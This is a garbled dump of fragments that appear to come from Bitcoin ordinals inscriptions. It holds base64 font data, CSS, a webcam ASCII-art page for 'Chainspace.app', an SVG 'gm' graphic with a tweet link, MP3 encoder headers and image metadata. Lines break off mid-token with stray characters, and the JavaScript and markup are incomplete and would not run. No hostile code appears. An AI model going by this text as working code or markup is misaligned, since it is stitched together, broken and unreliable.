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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #222222;
    font-size: 15px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#222222", ];
      let running = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 450);
       height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
        const res = M
new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
    const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.className = 'M
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
      document.getElementById('stop').addEventListener('click', (e) => {
   running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 600 600">
  window.addEventListener("load", () => {
    var sn = document.querySelector('.sn');
    var sn = document.querySelector('.sn');
    document.querySelector('.gmbtcio').classList.add('hideGMBTC');
    var td = new Date(); var ch = td.getHours()
    if (ch >= 5 && ch <= 18) {
      sn.classList.add('sngm')
      sn.classList.add('cl')
      sn.addEventListener("click", () => window.open(`https://twitter.com/intM
ent/tweet?text=${encodeURI('gm from 001 to bitcoin ordinals fam! sending good vibes via the first dynamic ordinals @gmbtcio')}&hashtags=gmbtc`, '_blank'))
      var moon = document.querySelector('.moon')
      moon.setAttribute('fill-opacity', 1)
      moon.classList.add('moongn')
      var str = document.querySelector('.str')
      str.setAttribute('fill-opacity', 1)
      str.classList.add('stgn')
      var fd = document.querySelector('.f');
      fd.classList.add('m0GN')
d = document.querySelector('.b');
      bd.classList.add('bgGN')
      document.querySelector('.m1').setAttribute('fill', '#A3B3E0')
      document.querySelector('.m2').setAttribute('fill', '#5E7BA9')
      document.querySelector('.m3').setAttribute('fill', '#7A8FD1')
      document.querySelector('.m4').setAttribute('fill', '#5E7BA9')
      sn.classList.add('sngn')
    .cl { cursor: pointer; }
    path, circle {transition: 5s ease;}
    stop {transition: 4s ease;M
    .bgGN stop:nth-child(1) {stop-color: #386C9A;}
    .bgGN stop:nth-child(2) {stop-color: #BD9FFF;}
    .m0GN stop:nth-child(1) {stop-color: #808FC0;}
    .m0GN stop:nth-child(2) {stop-color: #000E2C;}
    @keyframes hideGMBTC { from {opacity: 1;} to { opacity: 0;} }
    @keyframes sngm {from {opacity: 0;transform: translateY(180px);}to {opacity: 1;transform: translateY(0);}}
    @keyframes sngn {from { opacity: 1;transform: translateY(180px);}to {transform: translateY(-180px);opacity: 0;}}
animation: sngm 1s linear forwards; }
    .sngn { animation: sngn 1s linear forwards; }
    .moongn { animation: sngm 1s linear forwards; animation-delay: 0.5s;}
    .stgn { animation: sngm 1s linear forwards; animation-delay: 1s;}
    .hideGMBTC { animation: hideGMBTC 0.4s linear forwards;}
    .str, .moon { transform: translateY(180px); }
    <path fill="#FDEEEE" d="M0 0h600v600H0z"/>
    <path fill="#000" d="M32.508 575.5c-2.7 0-4.767-.767-6.2-2.3-1.433-1.533-2.15-3.7-2.15-6.5v-18.4M
c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.3 6.2-2.3s4.767.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.433 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.85-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm20.02 5c-2.7 0-4.767-.767-6.2-2.3-1.434-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.3 6.2-2.3s4.766.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.434 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 M
2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.85-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm19.769-22.2h-5.75v-3.9c1.567 0 2.817-.133 3.75-.4.966-.267 1.733-.7 2.3-1.3.567-.633 1.067-1.533 1.5-2.7h3.7v35h-5.5v-26.7Zm24.52-8.3h4.749l-13.8 35h-4.75l13.8-35Z" class="001/"/>
    <path fill="#000" d="M110.045 545.446h-3.565v-2.418c.971 0 1.746-.083 2.325-.248.599-.165 1.075-.434 1.426-.806.351-.393.661-.951.93-1.674h2.294V562h-3.41v-16.554Zm12.567 16.864c-1.674 0-2.955-.475-3.844-1.426-.889-.951-1.333-2.2M
94-1.333-4.03v-11.408c0-1.736.444-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.955.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.889.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Zm12.412 3.1c-1.674 0-2.955-.475-3.844-1.426-.888-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.445-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.956.475 3.844 1.426c.889.951 M
1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.888.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Z" class="100"/>
    <circle cx="300" cy="300" r="244" stroke="#fff" stroke-width="20" class="ol"/>
      <mask id="a" width="468" height="468" x="66" y="66" class="a" maskUnits="userSpaceOnUse" style="mask-type:alpha">
        <circle cx="300" cy="300" r="234" fill="#FCE07M
      <g mask="url(#a)">
        <g class="ci">
          <circle cx="300" cy="300" r="234" fill="url(#b)" class="ci"/>
        <g class="str" opacity=".01">
          <path fill="#fff" fill-rule="evenodd" d="M432 179a5 5 0 1 0-.001-10.001A5 5 0 0 0 432 179Zm-250 26.5a2.5 2.5 0 1 1-5 0 2.5 2.5 0 0 1 5 0ZM437 244a5 5 0 1 0-.001-10.001A5 5 0 0 0 437 244Zm-280 9a5 5 0 1 0-.001-10.001A5 5 0 0 0 157 253Zm68-74a5 5 0 1 1-10.001-.001A5 5 0 0 1 225 179Zm219.5 94a2.5 2.5 0 1 0 0-5 M
2.5 2.5 0 0 0 0 5Z" class="Union" clip-rule="evenodd" opacity=".4"/>
        <g class="sn">
          <circle cx="300" cy="202" r="97" fill="url(#c)" class="Ellipse 12" opacity=".5"/>
          <circle cx="300" cy="202" r="74.336" fill="url(#d)" class="Ellipse 13" opacity=".4"/>
          <circle cx="300.454" cy="202.453" r="55.752" fill="url(#e)" class="Ellipse 14"/>
          <path fill="#fff" d="M279.87 225.45c-2.434 0-4.6-.45-6.5-1.35-1.867-.9-3.367-2.167-4.5-3.8l2.9-2.95c.966 1.233 2.116 2.167 3.4M
5 2.8 1.333.667 2.916 1 4.75 1 2.433 0 4.35-.65 5.75-1.95 1.433-1.267 2.15-2.983 2.15-5.15v-5.9l.8-5.35-.8-5.3v-6.25h4.5v22.8c0 2.267-.534 4.25-1.6 5.95-1.034 1.7-2.5 3.033-4.4 4-1.867.967-4.034 1.45-6.5 1.45Zm0-10.85c-2.167 0-4.117-.517-5.85-1.55-1.7-1.033-3.05-2.45-4.05-4.25-1-1.833-1.5-3.883-1.5-6.15 0-2.267.5-4.283 1.5-6.05 1-1.8 2.35-3.217 4.05-4.25 1.733-1.067 3.683-1.6 5.85-1.6 1.866 0 3.516.367 4.95 1.1a8.49 8.49 0 0 1 3.4 3.1c.866 1.3 1.333 2.833 1.4 4.6v6.3c-.1 1.733-.584 3.267-1.45 4.6-.834 1.3-1.967 2.3M
17-3.4 3.05-1.434.733-3.067 1.1-4.9 1.1Zm.9-4.25c1.466 0 2.75-.317 3.85-.95a6.425 6.425 0 0 0 2.6-2.65c.6-1.167.9-2.517.9-4.05s-.317-2.867-.95-4c-.6-1.167-1.45-2.067-2.55-2.7-1.1-.667-2.4-1-3.9-1s-2.817.333-3.95 1c-1.134.633-2.034 1.533-2.7 2.7-.634 1.133-.95 2.45-.95 3.95s.316 2.833.95 4a7.364 7.364 0 0 0 2.7 2.75c1.166.633 2.5.95 4 .95Zm18.205 4.65v-23.75h4.5V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.417-1.55-4.05-1.55-1.1 0-2.084.233-2.95.7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8M
 3l-1.85-.9c0-1.8.383-3.367 1.15-4.7a8.3 8.3 0 0 1 3.25-3.1c1.366-.767 2.9-1.15 4.6-1.15 1.666 0 3.166.367 4.5 1.1a7.964 7.964 0 0 1 3.2 3.1c.8 1.333 1.2 2.917 1.2 4.75V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.4-1.55-4-1.55-1.1 0-2.1.233-3 .7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8 3l-2.55-.9c.1-1.833.583-3.4 1.45-4.7a9.334 9.334 0 0 1 3.45-3.1c1.4-.767 2.933-1.15 4.6-1.15 1.733 0 3.283.367 4.65 1.1a8.307 8.307 0 0 1 3.25 3.1c.833 1.333 1.25 2.933 1.25 4.8V215h-4.55Z" class="gm"/>
        <g class="moon" opacity=".01">
          <circle cx="301" cy="193" r="70" fill="#fff" class="Ellipse 12" opacity=".2"/>
          <circle cx="301" cy="193" r="53" fill="#fff" class="Ellipse 13" opacity=".1"/>
          <circle cx="301.5" cy="193.5" r="40.5" fill="#fff" class="Ellipse 14" opacity=".1"/>
          <path fill="#fff" fill-rule="evenodd" d="M281.73 228.393c22.371 0 40.506-18.135 40.506-40.505 0-14.927-8.074-27.967-20.092-34.994 22.024.401 39.755 18.379 39.755 40.499 0 22.371-18.135 M
40.506-40.506 40.506a40.316 40.316 0 0 1-20.414-5.513c.25.005.5.007.751.007Z" class="Subtract" clip-rule="evenodd" opacity=".7"/>
        <g class="mn">
          <path fill="#FEB4AA" d="M116 317.291c-42.4-39.6-112.167 72-128 137.5 29.833 29.833 99.4 94 139 112 39.6 18 79.5-60.834 94.5-102.5-26.667-35.667-63.1-107.4-105.5-147Z" class="m4"/>
          <path fill="#EEA07D" d="M185 308.291c-42.4-39.6-112.167 72-128 137.5 29.833 29.833 99.4 94 139 112 39.6 18 79.5-60.834 94.5-102.5-26.667-35.667-63.1-107.4M
-105.5-147Z" class="m3"/>
          <path fill="#FFB673" d="M281 302.471c-40.272-18.862-107 74-157 151.79 29.833 29.834 161.9 84.5 201.5 102.5 39.6 18 135.5-44.594 150.5-86.261-12.5-45.291-155.5-149.529-195-168.029Z" class="m2"/>
          <path fill="#C76439" d="M407.5 275.873C339 304.873 205 467.582 155 545.372c29.833 29.834 305.9-91.634 345.5-73.634 39.6 18 63-22.699 78-64.365-12.5-45.291-130.834-148.505-171-131.5Z" class="m1"/>
          <path fill="url(#f)" fill-rule="evenodd" d="M201.052 437.585c-3.668.022-7.M
287-.106-10.856-.365L182 380.5l-16.679 52.849c-19.141-4.48-36.536-11.778-51.985-18.26-10.089-4.234-19.349-8.119-27.723-10.643-10 4.5-31.8 13.8-39 15-9 1.5 83.5 143.5 122.5 196 31.2 42 609.22-111.703 721.887-143.703 29.833-75.166-256-181.5-344.887-206.297-66.467-18.543-115.964 23.29-184.838 81.499-21.335 18.032-44.529 37.634-70.662 57.501-25.291 19.225-41.833 25.68-64.113 28.903l-12.816-35.403-12.632 39.639Z" class="m0" clip-rule="evenodd"/>
    <g class="gmbtcio">
        <path fill="#000" d="M112.915 578.15c-.76 0-1.425-.14-1.995-.42a3.458 3.458 0 0 1-1.38-1.155l1.08-1.08c.29.36.62.63.99.81.37.18.815.27 1.335.27.65 0 1.165-.17 1.545-.51.38-.33.57-.785.57-1.365v-1.77l.285-1.59-.285-1.605V567.8h1.65v6.9c0 .69-.16 1.29-.48 1.8-.32.52-.765.925-1.335 1.215-.57.29-1.23.435-1.98.435Zm-.075-3.3c-.64 0-1.22-.155-1.74-.465a3.472 3.472 0 0 1-1.215-1.305 3.894 3.894 0 0 1-.435-1.845c0-.68.145-1.29.435-1.83.3-.54.705-.965 1.215-1.275.52-.32 1.1-.48 1.74-.48.57 0 1.07.115 1.5.345M
.43.23.765.55 1.005.96.24.4.36.87.36 1.41v1.77c0 .53-.125 1-.375 1.41-.24.41-.575.73-1.005.96-.43.23-.925.345-1.485.345Zm.33-1.56c.4 0 .75-.085 1.05-.255.3-.17.53-.405.69-.705.17-.31.255-.67.255-1.08 0-.41-.085-.765-.255-1.065-.16-.31-.39-.55-.69-.72-.3-.17-.65-.255-1.05-.255s-.755.085-1.065.255c-.3.17-.535.41-.705.72-.17.3-.255.655-.255 1.065 0 .4.085.755.255 1.065.17.31.405.55.705.72.31.17.665.255 1.065.255Zm5.373 1.71v-7.2h1.65v7.2h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.3 0-.57.06M
-.81.18-.23.12-.415.295-.555.525-.14.22-.21.49-.21.81l-.645-.36c0-.55.12-1.025.36-1.425.24-.4.565-.71.975-.93.41-.23.87-.345 1.38-.345.51 0 .97.11 1.38.33.41.22.735.53.975.93s.36.88.36 1.44V575h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.29 0-.555.06-.795.18s-.43.295-.57.525c-.14.22-.21.49-.21.81l-.93-.36c.05-.55.21-1.025.48-1.425a2.8 2.8 0 0 1 1.035-.93c.43-.23.9-.345 1.41-.345.52 0 .99.11 1.41.33.42.22.755.53 1.005.93.25.4.375.88.375 1.44V575h-1.65Z"/>
        <path fill="#FF7F7C" d="M1M
35.318 575.15c-.55 0-1.04-.115-1.47-.345a2.73 2.73 0 0 1-1.02-.975 2.71 2.71 0 0 1-.36-1.395v-2.07c0-.52.125-.985.375-1.395.25-.41.59-.73 1.02-.96.43-.24.915-.36 1.455-.36.65 0 1.235.17 1.755.51.53.33.945.78 1.245 1.35.31.56.465 1.195.465 1.905 0 .7-.155 1.335-.465 1.905-.3.56-.715 1.005-1.245 1.335-.52.33-1.105.495-1.755.495Zm-.27-1.56c.4 0 .75-.09 1.05-.27.31-.19.55-.45.72-.78.18-.33.27-.71.27-1.14 0-.43-.09-.81-.27-1.14-.17-.33-.41-.585-.72-.765a1.92 1.92 0 0 0-1.05-.285c-.4 0-.755.095-1.065.285-.31.18-.55.435-.M
72.765-.17.33-.255.71-.255 1.14 0 .43.085.81.255 1.14.17.33.41.59.72.78.31.18.665.27 1.065.27Zm-3.585 1.41v-10.8h1.65v5.37l-.285 1.74.285 1.755V575h-1.65Zm9.591 0v-10.2h1.65V575h-1.65Zm-1.725-5.7v-1.5h5.1v1.5h-5.1Zm9.409 5.85c-.71 0-1.355-.165-1.935-.495-.57-.33-1.02-.78-1.35-1.35a3.733 3.733 0 0 1-.495-1.905c0-.71.165-1.345.495-1.905.33-.57.78-1.02 1.35-1.35a3.844 3.844 0 0 1 1.935-.495c.56 0 1.08.11 1.56.33.49.21.905.515 1.245.915l-1.08 1.095a1.913 1.913 0 0 0-.765-.555 2.32 2.32 0 0 0-.96-.195c-.41 0-.775.095-1.M
095.285-.31.18-.555.43-.735.75-.17.32-.255.695-.255 1.125 0 .42.085.795.255 1.125.18.32.425.575.735.765.32.18.685.27 1.095.27.35 0 .67-.06.96-.18.3-.13.555-.32.765-.57l1.08 1.095c-.34.4-.755.71-1.245.93-.48.21-1 .315-1.56.315Zm5.254 0c-.32 0-.585-.105-.795-.315-.2-.22-.3-.485-.3-.795 0-.32.1-.585.3-.795.21-.21.475-.315.795-.315.32 0 .58.105.78.315.21.21.315.475.315.795 0 .31-.105.575-.315.795-.2.21-.46.315-.78.315Zm3.106-.15v-7.2h1.65v7.2h-1.65Zm.825-8.52a.958.958 0 0 1-.705-.285.986.986 0 0 1-.27-.705c0-.28.09-.51M
5.27-.705a.958.958 0 0 1 .705-.285c.29 0 .525.095.705.285.18.19.27.425.27.705 0 .28-.09.515-.27.705a.927.927 0 0 1-.705.285Zm5.976 8.67c-.7 0-1.335-.165-1.905-.495a3.88 3.88 0 0 1-1.365-1.365 3.733 3.733 0 0 1-.495-1.905c0-.7.165-1.33.495-1.89.34-.56.795-1.005 1.365-1.335.57-.34 1.205-.51 1.905-.51.71 0 1.35.165 1.92.495.57.33 1.02.78 1.35 1.35.34.56.51 1.19.51 1.89s-.17 1.335-.51 1.905c-.33.57-.78 1.025-1.35 1.365-.57.33-1.21.495-1.92.495Zm0-1.59c.41 0 .77-.09 1.08-.27.32-.19.565-.45.735-.78.18-.33.27-.705.27-1.12M
5 0-.42-.09-.79-.27-1.11-.18-.32-.425-.57-.735-.75-.31-.19-.67-.285-1.08-.285-.4 0-.76.095-1.08.285-.31.18-.555.43-.735.75-.17.32-.255.69-.255 1.11 0 .42.085.795.255 1.125.18.33.425.59.735.78.32.18.68.27 1.08.27Z"/>
    <linearGradient id="b" x1="300" x2="300" y1="66" y2="534" class="b" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FFC9B3"/>
      <stop offset="1" stop-color="#fff"/>
    </linearGradient>
    <linearGradient id="e" x1="300.454" x2="300.454" y1="146.701M
" y2="258.206" class="e" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FF817E"/>
      <stop offset="1" stop-color="#D94E4B"/>
    </linearGradient>
    <linearGradient id="f" x1="475.822" x2="475.822" y1="282.872" y2="622.66" class="f" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FF716E"/>
      <stop offset="1" stop-color="#D98200"/>
    </linearGradient>
    <radialGradient id="c" cx="0" cy="0" r="1" class="c" gradientTransform="matrix(0 97 -97 0 300 202)" gradientUnits="userSpaceOnUse">
     <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FFC3C1"/>
    </radialGradient>
    <radialGradient id="d" cx="0" cy="0" r="1" class="d" gradientTransform="rotate(90 49 251) scale(74.3364)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FF8885"/>
    </radialGradient>
LAME in FL Studio 21
SLAME3.99.5UUUUUUUUUUU
LAME3.99.5UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
LAME3.99.5UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
LAME3.99.5UUUUUUUUUUUUUUUUUUUUUUUUUUU
LAME3.99.5UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22M
-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:66b17801-bfc2-4b75-b750-b3c7b7c5f6d7" xmpMM:InstanceID="xmp.iid:5c670b1e-badc-43f6-bb5c-505c66e85a57" xmpMM:OriginalDocumentID="xmp.did:5016158f-a098-4b88-a45a-537M
2134b7e7f" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676406933377530" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:35:31+11:00" xmp:ModifyDate="2023:02:15T07:35:31+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:6a2d1d8b-9926-48c4-9980-1b3d1593a8ed" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:35:33"/> </rdf:Seq> </xmpMM:History> </rdf:DescM
ription> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M

 <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://nsM
